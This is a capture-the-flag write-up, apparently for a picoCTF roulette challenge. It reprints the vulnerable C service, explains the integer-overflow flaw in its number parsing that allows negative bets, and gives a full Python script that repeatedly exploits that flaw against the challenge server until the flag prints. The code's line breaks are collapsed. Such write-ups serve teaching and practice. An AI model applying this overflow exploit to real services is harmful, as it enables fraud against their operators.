We are given the source code for the service we have to exploit :
```c#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <time.h>#include <unistd.h>#include <limits.h>
#define MAX_NUM_LEN 12#define HOTSTREAK 3#define MAX_WINS 16#define ONE_BILLION 1000000000#define ROULETTE_SIZE 36#define ROULETTE_SPINS 128#define ROULETTE_SLOWS 16#define NUM_WIN_MSGS 10#define NUM_LOSE_MSGS 5
long cash = 0;long wins = 0;
int is_digit(char c) {    return '0' <= c && c <= '9';}
long get_long() {    printf("> ");    uint64_t l = 0;    char c = 0;    while(!is_digit(c))      c = getchar();    while(is_digit(c)) {      if(l >= LONG_MAX) {	        l = LONG_MAX;	        break;      }      l *= 10;      l += c - '0';      c = getchar();    }    while(c != '\n')      c = getchar();    return l;}
long get_rand() {  long seed;  FILE *f = fopen("/dev/urandom", "r");  fread(&seed, sizeof(seed), 1, f);  fclose(f);  seed = seed % 5000;  if (seed < 0) seed = seed * -1;  srand(seed);  return seed;}
long get_bet() {  while(1) {    puts("How much will you wager?");    printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins);     long bet = get_long();     if(bet <= cash) {      return bet;    } else {      puts("You can't bet more than you have!");    }  }}
long get_choice() {  while (1) {    printf("Choose a number (1-%d)\n", ROULETTE_SIZE);    long choice = get_long();    if (1 <= choice && choice <= ROULETTE_SIZE) {      return choice;    } else {      puts("Please enter a valid choice.");    }  }}
int print_flag() {  char flag[48];  FILE *file;  file = fopen("flag.txt", "r");  if (file == NULL) {    printf("Failed to open the flag file\n");    return -1;  }  fgets(flag, sizeof(flag), file);  printf("%s", flag);  return 0;}
const char *win_msgs[NUM_WIN_MSGS] = {  "Wow.. Nice One!",  "You chose correct!",  "Winner!",  "Wow, you won!",  "Alright, now you're cooking!",  "Darn.. Here you go",  "Darn, you got it right.",  "You.. win.. this round...",  "Congrats!",  "You're not cheating are you?",};
const char *lose_msgs1[NUM_LOSE_MSGS] = {  "WRONG",  "Nice try..",  "YOU LOSE",  "Not this time..",  "Better luck next time..."};
const char *lose_msgs2[NUM_LOSE_MSGS] = {  "Just give up!",  "It's over for you.",  "Stop wasting your time.",  "You're never gonna win",  "If you keep it up, maybe you'll get the flag in 100000000000 years"};
void spin_roulette(long spin) {  int n;  puts("");  printf("Roulette  :  ");  int i, j;  int s = 12500;  for (i = 0; i < ROULETTE_SPINS; i++) {    n = printf("%d", (i%ROULETTE_SIZE)+1);    usleep(s);    for (j = 0; j < n; j++) {      printf("\b \b");    }  }  for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {    n = printf("%d", (i%ROULETTE_SIZE)+1);    if (((i%ROULETTE_SIZE)+1) == spin) {      for (j = 0; j < n; j++) {	    printf("\b \b");      }      break;    }    usleep(s);    for (j = 0; j < n; j++) {      printf("\b \b");    }  }  for (int k = 0; k < ROULETTE_SIZE; k++) {    n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);    s = 1.1*s;    usleep(s);    for (j = 0; j < n; j++) {      printf("\b \b");    }  }  printf("%ld", spin);  usleep(s);  puts("");  puts("");}
void play_roulette(long choice, long bet) {   printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet);  long spin = (rand() % ROULETTE_SIZE)+1;
  spin_roulette(spin);   if (spin == choice) {    cash += 2*bet;    puts(win_msgs[rand()%NUM_WIN_MSGS]);    wins += 1;  }  else {    puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);    puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);  }  puts("");}
int main(int argc, char *argv[]) {  setvbuf(stdout, NULL, _IONBF, 0);
  cash = get_rand();   puts("Welcome to ONLINE ROULETTE!");  printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);  puts("");   long bet;  long choice;  while(cash > 0) {      bet = get_bet();      cash -= bet;      choice = get_choice();      puts("");       play_roulette(choice, bet);       if (wins >= MAX_WINS) {        printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);	    printf("Congrats you made $%lu. See you next time!\n", cash);	    exit(-1);      }       if(cash > ONE_BILLION) {        printf("*** Current Balance: $%lu ***\n", cash);        if (wins >= HOTSTREAK) {	        puts("Wow, I can't believe you did it.. You deserve this flag!");	        print_flag();	        exit(0);	    }	    else {	      puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");	      exit(-1);	    }	  }  }  puts("Haha, lost all the money I gave you already? See ya later!");  return 0;}```
Scanning through the source code, we can see the following interesting blocks :
```cif(cash > ONE_BILLION) {    printf("*** Current Balance: $%lu ***\n", cash);    if (wins >= HOTSTREAK) {        puts("Wow, I can't believe you did it.. You deserve this flag!");        print_flag();        exit(0);    }    else {      puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");      exit(-1);    }  }}```
This shows that we don't only need to win a billion but also to score at least3 wins (the value of `HOTSTREAK`).
```clong get_long() {    printf("> ");    uint64_t l = 0;    char c = 0;    while(!is_digit(c))      c = getchar();    while(is_digit(c)) {      if(l >= LONG_MAX) {	        l = LONG_MAX;	        break;      }      l *= 10;      l += c - '0';      c = getchar();    }    while(c != '\n')      c = getchar();    return l;}```
That's where the first bug is : the code checks if the value being constructedis superior to `LONG_MAX`, which would flip the sign on the value and allow usto get a negative value. But the check is done before adding the digit beingscanned, meaning that the last digit won't be considered.
Since this function is called when choosing the betting amount, we can bet anegative amount and win that amount instead of losing it when the bet is lost.
There's a second bug, but I didn't find it. So I had a way to get the billionneeded, but couldn't force the three wins. Sometimes, an inelegant approachjust does the work too ... So first I wrote the following script :
```pythonimport socket
class Player:
    plus_1_dollar = 4294967295
    def __init__(self, host, port):        self.host = host        self.port = port        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.s.connect((host, port))        # these variables will store the state :        self.balance = None        self.wins = None
    def parse_info(self, datastring):        for line in datastring.split('\n'):            if line.startswith('Current Balance'):                # extract the state (balance and number of flags) from output :                self.balance = int(line[line.find('$')+1:line.find(' \t')])                self.wins = int(line[-1])            if 'picoCTF' in line:                # Print the flag and exit if it is present                self.flag = line                print(line)                exit(line)
    def _receive(self, echo=True):        databuf = []        while 1:            data = self.s.recv(1024)            databuf.append(data)            if echo:                print('... '+data.decode('ascii'))            if not len(data) or b'>' in data:                break        datastring = (''.join(d.decode('ascii') for d in databuf))        return datastring
    def _send(self, value, nl='\n'):        self.s.sendall((str(value) +nl).encode('ascii'))
    def bet_7(self, wager, echo=False):        """        Bets the given wager on 7 - lucky number !        """        self._send(str(wager))
        r = self._receive(echo=echo)
        try:            self.parse_info(r)        except BrokenPipeError:            print(r)            exit(1)        self._send('7')
    def recharge(self):        self.bet_7(self.plus_1_dollar - 20000)
    def try_to_win(self, echo=False):        self.bet_7(1)
    def __call__(self, *args, **kwargs):        while True:            r = self._receive()            self.parse_info(r)            # print the current state :            print(f'balance:{self.balance}')            print(f'wins:{self.wins}')            print(f'flag:{self.flag}')            if self.balance < 10000:                # give ourselves some credit if we're running out of dollars                self.recharge()            elif self.wins < 3:                self.try_to_win()            else:                # 3000000000 will allow us to win a billion                self.bet_7(3000000000, echo=True)
if __name__ == '__main__':    while True:        try:            player = Player('2018shell3.picoctf.com', 26662)            player()        except Exception:            # Reconnect on failure            pass```
It connects to the server and places bets based on the current state of thegame :
- If the balance is less than 10000$, it places a bet with a negative value that  credits us with 20000$- If we have less than 3 wins, it places 1$ bets until we reach the required 3  wins- If we have three wins, it places a bet with a negative value that credits us  a billion. I then split my terminal in 25 panes and ran the script in all of them untilthe relatively unlikely 3 wins happened, triggering the 1 billion win andprinting the flag.
If it's stupid and it works ...